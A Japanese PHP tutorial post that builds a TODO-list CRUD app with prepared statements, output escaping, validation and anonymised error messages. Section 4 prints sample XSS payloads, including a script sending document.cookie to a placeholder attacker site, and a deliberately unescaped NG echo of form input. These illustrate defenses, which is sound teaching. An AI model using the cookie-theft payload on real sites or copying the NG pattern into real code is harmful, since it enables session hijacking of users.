PHPでTODOリスト作成|CRUDとセキュリティ対策を実践

に公開

PHPでTODOリスト作成|CRUDとセキュリティ対策を実践

1. はじめに

前回の記事(PHP基礎文法とDB接続の安全な書き方|他言語経験者向け)では、PHPの基本文法とPDOによる安全なDB接続を学びました。

1.1 これまでの記事で学んだこと

この記事では、TODOリストのCRUD操作を実装 しながら、セキュリティ対策 も身につけます。GET/POSTの使い分け、XSS対策、バリデーションなど、実務で必須のスキルを実践的に学びます。

1.2 この記事で実践すること

1.3 この記事の目的

  • TODOリストのCRUD操作を実装
  • GET/POSTの使い分けを理解
  • XSS対策を実践
  • バリデーションの基本を習得
  • エラーメッセージの安全な扱い方を学ぶ

1.4 このシリーズ全体の流れ

記事 タイトル
生成AIとセキュリティの基礎知識
DockerでPHP+MySQL開発環境を作る
PHP基礎文法とDB接続の安全な書き方
今ここ PHPでTODOリスト作成(CRUDとセキュリティ対策)
手続き型PHPをクラスベースにリファクタリング
PHP実務で使うデバッグとセキュリティチェックリスト
攻撃者の視点で学ぶPHPセキュリティ

2. CRUD実装の全体像

2.1 TODOリストの機能

この記事で実装する機能

  • Create(作成):新しいTODOを登録
  • Read(読み取り):TODO一覧を表示
  • Update(更新):TODOの内容を編集
  • Delete(削除):TODOを削除

CRUD操作の説明

CRUDとは

  • Create(作成)
  • Read(読み取り)
  • Update(更新)
  • Delete(削除)

Webアプリケーションの基本操作です。

2.2 この記事で学ぶこと

  1. GET/POSTの使い分け

    • 検索・一覧表示 → GET
    • 登録・更新・削除 → POST
  2. XSS対策

    • htmlspecialchars()で出力をエスケープ
  3. バリデーション

    • 必須チェック、文字数チェック
  4. エラーハンドリング

    • 安全なエラーメッセージの表示

3. GET vs POST|使い分けの基本

HTTPメソッドの違いを理解しましょう。

3.1 GETとPOSTの違い

GETの特徴

  • URLに値が残る(例:?id=1&page=2
  • ブックマークやURLシェアができる
  • サーバーログに残る(機密情報には使えない)
  • データ量に制限(約2000文字)

POSTの特徴

  • URLに値が表示されない
  • データ量の制限なし
  • ログに残らない
  • ブックマークできない

3.2 いつGETを使うか

使用例

  • 検索:search.php?keyword=PHP
  • 詳細表示:detail.php?id=123
  • ページング:list.php?page=2

理由

  • URLだけでアクセス可能
  • ブックマークやシェアができる
  • キャッシュしやすい

3.3 いつPOSTを使うか

使用例

  • ログイン処理
  • 会員登録
  • データ更新
  • データ削除

理由

  • 機密情報を扱う場合
  • データ量が多い場合
  • データを変更する操作

3.4 使い分けの基準

簡単な覚え方

  • データ取得 → GET
  • データ変更 → POST

セキュリティ上の注意点

  • パスワードなど機密情報は絶対にGETで送らない
  • サーバーログに残るため、情報漏洩のリスクがある

4. XSS対策|htmlspecialcharsの使い方

XSS(クロスサイトスクリプティング)攻撃を理解し、対策を実践しましょう。

4.1 XSSとは何か

XSSは、攻撃者が悪意あるスクリプトをWebページに埋め込み、他のユーザーに実行させる攻撃です。

攻撃の流れ

  1. 攻撃者が掲示板やフォームに悪意あるスクリプトを投稿
  2. 何も知らない利用者がそのページにアクセス
  3. スクリプトが実行され、Cookie情報やセッションIDが盗まれる
  4. 攻撃者が盗んだ情報で本人になりすます

4.2 攻撃の仕組み

具体的な攻撃コード例

<!-- 攻撃者が入力するコード -->
<script>alert(document.cookie)</script>
<script>window.open('http://攻撃者サイト/?cookie='+document.cookie)</script>

4.3 危険なコード(NG例)

<?php
// ❌ NG: そのまま出力(危険!)
$title = $_POST['title'];
echo "<h1>{$title}</h1>";
?>

攻撃者が<script>alert('XSS')</script>を入力すると

  • スクリプトが実行される
  • Cookie情報が盗まれる可能性

4.4 安全なコード(OK例)

<?php
// ✅ OK: htmlspecialcharsでエスケープ
$title = $_POST['title'];
echo "<h1>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</h1>";
?>

htmlspecialchars()の変換

  • &&amp;
  • "&quot;
  • '&#039;(ENT_QUOTES指定時)
  • <&lt;
  • >&gt;

結果

  • スクリプトタグが文字列として表示される
  • 実行されない

4.5 htmlspecialcharsの正しい使い方

必須の書き方

htmlspecialchars($input, ENT_QUOTES, 'UTF-8')

各引数の意味

  • $input:エスケープする文字列
  • ENT_QUOTES:シングル/ダブルクォート両方変換
  • 'UTF-8':文字コード指定(ないと悪用される)

いつ使うか

  • ユーザー入力値を出力する時は必ずエスケープ
  • データベースから取得した値を表示する時もエスケープ

5. C(Create)|TODO登録機能

データ登録を実装しましょう。

5.1 登録フォーム

www/create.phpを作成

<?php
// エラーメッセージ用
$errors = [];
$success = false;

// POST送信時のみ処理
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $title = $_POST['title'] ?? '';
    
    // バリデーション
    if (empty($title)) {
        $errors[] = 'タイトルは必須です';
    } elseif (mb_strlen($title) > 255) {
        $errors[] = 'タイトルは255文字以内で入力してください';
    }
    
    // バリデーションOKなら登録
    if (empty($errors)) {
        try {
            $pdo = new PDO(
                'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
                'dbuser',
                'dbpass',
                [
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
                ]
            );
            
            $stmt = $pdo->prepare('INSERT INTO todos (title, status) VALUES (:title, 0)');
            $stmt->bindValue(':title', $title, PDO::PARAM_STR);
            $stmt->execute();
            
            $success = true;
        } catch (PDOException $e) {
            error_log("TODO登録エラー: " . $e->getMessage());
            $errors[] = 'TODO登録に失敗しました';
        }
    }
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>TODO登録</title>
</head>
<body>
    <h1>TODO登録</h1>
    
    <?php if ($success): ?>
        <p style="color: green;">✅ TODOを登録しました!</p>
        <p><a href="index.php">一覧に戻る</a></p>
    <?php else: ?>
        <?php if (!empty($errors)): ?>
            <ul style="color: red;">
                <?php foreach ($errors as $error): ?>
                    <li><?php echo htmlspecialchars($error, ENT_QUOTES, 'UTF-8'); ?></li>
                <?php endforeach; ?>
            </ul>
        <?php endif; ?>
        
        <form method="POST">
            <label>タイトル:</label>
            <input type="text" name="title" value="<?php echo htmlspecialchars($title ?? '', ENT_QUOTES, 'UTF-8'); ?>" maxlength="255" required>
            <button type="submit">登録</button>
        </form>
    <?php endif; ?>
</body>
</html>

5.2 バリデーション

必須チェック

if (empty($title)) {
    $errors[] = 'タイトルは必須です';
}

文字数チェック

elseif (mb_strlen($title) > 255) {
    $errors[] = 'タイトルは255文字以内で入力してください';
}

注意: strlen()ではなくmb_strlen()を使う(日本語対応)

5.3 INSERT処理

$stmt = $pdo->prepare('INSERT INTO todos (title, status) VALUES (:title, 0)');
$stmt->bindValue(':title', $title, PDO::PARAM_STR);
$stmt->execute();

5.4 エラー処理

try {
    // DB処理
} catch (PDOException $e) {
    error_log("TODO登録エラー: " . $e->getMessage());
    $errors[] = 'TODO登録に失敗しました';
}

ポイント

  • 詳細なエラーはログに記録
  • ユーザーには汎用的なメッセージのみ表示

6. R(Read)|TODO一覧表示

データ取得と表示を実装しましょう。

6.1 SELECT処理

www/index.phpを作成

<?php
try {
    $pdo = new PDO(
        'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
        'dbuser',
        'dbpass',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
    
    // 全件取得
    $stmt = $pdo->query('SELECT * FROM todos ORDER BY created_at DESC');
    $todos = $stmt->fetchAll();
} catch (PDOException $e) {
    error_log("TODO取得エラー: " . $e->getMessage());
    $todos = [];
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>TODO一覧</title>
</head>
<body>
    <h1>TODO一覧</h1>
    <p><a href="create.php">新規登録</a></p>
    
    <?php if (empty($todos)): ?>
        <p>TODOがありません</p>
    <?php else: ?>
        <table border="1">
            <tr>
                <th>ID</th>
                <th>タイトル</th>
                <th>ステータス</th>
                <th>作成日時</th>
                <th>操作</th>
            </tr>
            <?php foreach ($todos as $todo): ?>
                <tr>
                    <td><?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?></td>
                    <td><?php echo htmlspecialchars($todo['title'], ENT_QUOTES, 'UTF-8'); ?></td>
                    <td><?php echo $todo['status'] === 1 ? '完了' : '未完了'; ?></td>
                    <td><?php echo htmlspecialchars($todo['created_at'], ENT_QUOTES, 'UTF-8'); ?></td>
                    <td>
                        <a href="edit.php?id=<?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?>">編集</a>
                        <a href="delete.php?id=<?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?>" onclick="return confirm('削除しますか?')">削除</a>
                    </td>
                </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>
</body>
</html>

6.2 XSS対策

重要:出力時に必ずエスケープ

<?php echo htmlspecialchars($todo['title'], ENT_QUOTES, 'UTF-8'); ?>

URLパラメータもエスケープ

<a href="edit.php?id=<?php echo htmlspecialchars($todo['id'], ENT_QUOTES, 'UTF-8'); ?>">編集</a>

7. U(Update)|TODO更新機能

データ更新を実装しましょう。

7.1 編集フォーム

www/edit.phpを作成

<?php
$errors = [];
$success = false;
$id = $_GET['id'] ?? null;

if (empty($id)) {
    header('Location: index.php');
    exit;
}

try {
    $pdo = new PDO(
        'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
        'dbuser',
        'dbpass',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
    
    // データ取得
    $stmt = $pdo->prepare('SELECT * FROM todos WHERE id = :id');
    $stmt->bindValue(':id', $id, PDO::PARAM_INT);
    $stmt->execute();
    $todo = $stmt->fetch();
    
    if (!$todo) {
        header('Location: index.php');
        exit;
    }
    
    // POST送信時のみ処理
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $title = $_POST['title'] ?? '';
        $status = $_POST['status'] ?? 0;
        
        // バリデーション
        if (empty($title)) {
            $errors[] = 'タイトルは必須です';
        } elseif (mb_strlen($title) > 255) {
            $errors[] = 'タイトルは255文字以内で入力してください';
        }
        
        // バリデーションOKなら更新
        if (empty($errors)) {
            $stmt = $pdo->prepare('UPDATE todos SET title = :title, status = :status WHERE id = :id');
            $stmt->bindValue(':title', $title, PDO::PARAM_STR);
            $stmt->bindValue(':status', $status, PDO::PARAM_INT);
            $stmt->bindValue(':id', $id, PDO::PARAM_INT);
            $stmt->execute();
            
            $success = true;
        }
    } else {
        // GET時は既存データを表示
        $title = $todo['title'];
        $status = $todo['status'];
    }
} catch (PDOException $e) {
    error_log("TODO更新エラー: " . $e->getMessage());
    $errors[] = 'エラーが発生しました';
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>TODO編集</title>
</head>
<body>
    <h1>TODO編集</h1>
    
    <?php if ($success): ?>
        <p style="color: green;">✅ TODOを更新しました!</p>
        <p><a href="index.php">一覧に戻る</a></p>
    <?php else: ?>
        <?php if (!empty($errors)): ?>
            <ul style="color: red;">
                <?php foreach ($errors as $error): ?>
                    <li><?php echo htmlspecialchars($error, ENT_QUOTES, 'UTF-8'); ?></li>
                <?php endforeach; ?>
            </ul>
        <?php endif; ?>
        
        <form method="POST">
            <label>タイトル:</label>
            <input type="text" name="title" value="<?php echo htmlspecialchars($title ?? '', ENT_QUOTES, 'UTF-8'); ?>" maxlength="255" required>
            <br>
            <label>ステータス:</label>
            <select name="status">
                <option value="0" <?php echo ($status ?? 0) === 0 ? 'selected' : ''; ?>>未完了</option>
                <option value="1" <?php echo ($status ?? 0) === 1 ? 'selected' : ''; ?>>完了</option>
            </select>
            <br>
            <button type="submit">更新</button>
        </form>
        <p><a href="index.php">一覧に戻る</a></p>
    <?php endif; ?>
</body>
</html>

7.2 UPDATE処理

$stmt = $pdo->prepare('UPDATE todos SET title = :title, status = :status WHERE id = :id');
$stmt->bindValue(':title', $title, PDO::PARAM_STR);
$stmt->bindValue(':status', $status, PDO::PARAM_INT);
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

8. D(Delete)|TODO削除機能

データ削除を実装しましょう。

8.1 削除処理

www/delete.phpを作成

<?php
$id = $_GET['id'] ?? null;

if (empty($id)) {
    header('Location: index.php');
    exit;
}

try {
    $pdo = new PDO(
        'mysql:host=mysql;dbname=mydb;charset=utf8mb4',
        'dbuser',
        'dbpass',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
    
    // POST送信時のみ削除
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $stmt = $pdo->prepare('DELETE FROM todos WHERE id = :id');
        $stmt->bindValue(':id', $id, PDO::PARAM_INT);
        $stmt->execute();
        
        header('Location: index.php');
        exit;
    }
    
    // GET時は確認画面を表示
    $stmt = $pdo->prepare('SELECT * FROM todos WHERE id = :id');
    $stmt->bindValue(':id', $id, PDO::PARAM_INT);
    $stmt->execute();
    $todo = $stmt->fetch();
    
    if (!$todo) {
        header('Location: index.php');
        exit;
    }
} catch (PDOException $e) {
    error_log("TODO削除エラー: " . $e->getMessage());
    header('Location: index.php');
    exit;
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>TODO削除</title>
</head>
<body>
    <h1>TODO削除</h1>
    <p>以下のTODOを削除しますか?</p>
    <p>タイトル:<?php echo htmlspecialchars($todo['title'], ENT_QUOTES, 'UTF-8'); ?></p>
    
    <form method="POST">
        <button type="submit">削除</button>
        <a href="index.php">キャンセル</a>
    </form>
</body>
</html>

8.2 論理削除 vs 物理削除

物理削除(この記事の実装)

  • データベースから完全に削除
  • 復元不可

論理削除(実務でよく使われる)

  • deleted_atカラムに日時を記録
  • データは残すが、表示しない
  • 復元可能

実務では論理削除が多い理由

  • データの復元が可能
  • 監査ログとして残せる
  • 誤削除のリスクを減らせる

論理削除の実装例

テーブルにdeleted_atカラムを追加

ALTER TABLE todos ADD COLUMN deleted_at DATETIME NULL;

削除処理を変更

<?php
// 論理削除(deleted_atに日時を記録)
$stmt = $pdo->prepare('UPDATE todos SET deleted_at = NOW() WHERE id = :id');
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
?>

一覧取得時に除外

<?php
// deleted_atがNULLのもののみ取得
$stmt = $pdo->query('SELECT * FROM todos WHERE deleted_at IS NULL ORDER BY created_at DESC');
$todos = $stmt->fetchAll();
?>

9. 【実践コラム】エラーメッセージの匿名化実践

生成AIとセキュリティの基礎知識で学んだ匿名化テクニックを、エラーメッセージで実践しましょう。

9.1 エラーメッセージから機密情報を除去する方法

本番環境で詳細エラーを画面表示するのは超危険です。ファイルパス、DB情報、コード構造が丸見えになって攻撃のヒントになります。

9.2 Before(NG例):機密情報が含まれる

// ❌ NG: 詳細エラーを表示
try {
    $pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}

表示されるエラー例

Warning: mysql_connect(): Access denied for user 'admin'@'localhost' 
in /var/www/html/includes/db_config.php on line 15

漏洩する情報

  • ファイルパス(/var/www/html/includes/db_config.php
  • DBユーザー名(admin
  • DBホスト(localhost
  • コード構造

9.3 After(OK例):匿名化済み

// ✅ OK: 汎用メッセージ+ログ記録
try {
    $pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
    error_log("DB接続エラー: " . $e->getMessage());
    die("システムエラーが発生しました。管理者に連絡してください。");
}

ユーザーに表示される

システムエラーが発生しました。管理者に連絡してください。

ログに記録される(開発者のみ見られる)

DB接続エラー: Access denied for user 'admin'@'localhost'

9.4 生成AIに質問する際の注意点

エラーメッセージを生成AIに質問する際も、必ず匿名化 してください。

❌ NG例

「このエラーが出ます:
Warning: mysql_connect(): Access denied for user 'admin'@'192.168.1.100' 
in /var/www/company/secret/includes/db.php on line 15
どうすればいいですか?」

✅ OK例

「このエラーが出ます:
Warning: mysql_connect(): Access denied for user 'dbuser'@'localhost' 
in /path/to/includes/db.php on line 15
どうすればいいですか?」

匿名化のポイント

  • ファイルパス → /path/to/ に置換
  • IPアドレス → localhost
  • 機密性の高いディレクトリ名(secretcompany)を削除

9.5 エラー処理のベストプラクティス

開発環境

error_reporting(E_ALL);
ini_set('display_errors', 1);

本番環境

error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php/error.log');

環境別自動切替

$is_dev = ($_SERVER['SERVER_NAME'] === 'localhost');

error_reporting(E_ALL);
ini_set('display_errors', $is_dev ? 1 : 0);
ini_set('log_errors', 1);

10. まとめ|次のステップ

おめでとうございます!TODOリストのCRUD操作を実装し、セキュリティ対策も身につけました。

10.1 この記事で学んだこと

  • CRUD操作の実装(Create、Read、Update、Delete)
  • GET/POSTの使い分け
  • XSS対策(htmlspecialchars()
  • バリデーションの基本
  • エラーメッセージの安全な扱い方

10.2 セキュリティを意識した書き方

  • ✅ 出力時に必ずhtmlspecialchars()でエスケープ
  • ✅ データ変更はPOSTで送信
  • ✅ エラーメッセージはログに記録、ユーザーには汎用メッセージ
  • ✅ バリデーションで不正入力を防ぐ

10.3 次のステップ

次回は、手続き型コードをクラスベースにリファクタリング します。保守性を向上させながら、Composerや名前空間も学びます。

10.4 困った時は

  • エラーが出たら、まずdocker-compose logs -fでログを確認
  • 詰まったら、生成AIに質問してみましょう(ただし、セキュリティは守って)
  • 生成AIとセキュリティの基礎知識の匿名化チェックリストを確認

11. 参考資料

11.1 PHP公式ドキュメント

11.2 信頼できる解説記事


12. 📚 シリーズ記事一覧

この記事: PHPでTODOリスト作成(CRUDとセキュリティ対策)

前の記事: PHP基礎文法とDB接続の安全な書き方
→ PHPの基本文法を他言語と比較しながら理解し、安全なDB接続方法を習得します。

次の記事: 手続き型PHPをクラスベースにリファクタリング
→ 手続き型コードをクラスベースに書き換え、保守性を向上させます。

12.1 シリーズ全体

  1. 生成AIとセキュリティの基礎知識
  2. DockerでPHP+MySQL開発環境を作る
  3. PHP基礎文法とDB接続の安全な書き方
  4. PHPでTODOリスト作成(CRUDとセキュリティ対策) ← 今ここ
  5. 手続き型PHPをクラスベースにリファクタリング
  6. PHP実務で使うデバッグとセキュリティチェックリスト
  7. 攻撃者の視点で学ぶPHPセキュリティ

Discussion